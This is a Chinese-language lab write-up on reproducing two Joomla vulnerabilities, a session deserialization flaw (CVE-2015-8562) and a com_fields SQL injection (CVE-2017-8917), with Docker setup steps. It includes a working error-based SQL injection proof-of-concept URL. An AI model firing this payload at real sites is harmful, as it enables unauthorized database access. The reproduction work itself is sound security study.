一、 CVE-2015-8562_Joomla 3.4.5 反序列化漏洞
前言
Joomla!是一套全球知名的内容管理系统。 Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统。可以在Linux、 Windows、MacOSX等各种不同的平台上执行。
漏洞详情
本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。
通过Joomla中的Gadget,可造成任意代码执行的结果。
影响版本
– Joomla 1.5.x, 2.x, and 3.x before 3.4.6
– PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
测试环境
靶场:192.168.4.10_ubuntu
启动测试环境:
#docker-compose up -d
启动后访问`http://your-ip:8080/`即可看到Joomla的安装界面,当前环境的数据库信息为:
– 数据库地址:mysql:3306
– 用户:root
– 密码:root
– 数据库名:joomla
填入上述信息,正常安装即可。
漏洞复现
使用msf测试本环境
二、 CVE-2017-8917
_
Joomla 3.7.0
_
SQL注入漏洞环境
漏洞详情
Joomla 3.7.0 版本中引入的新组件(com_fields),存在SQL注入漏洞
测试环境
编译及启动测试环境:
#docker-compose up -d
同上启动后访问`http://your-ip:8080`即可看到Joomla的安装界面,当前环境的数据库信息为:
– 数据库地址:mysql:3306
– 用户:root
– 密码:root
– 数据库名:joomla
填入上述信息,正常安装即可。
POC测试
安装完成后,访问`http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)`,即可看到报错信息: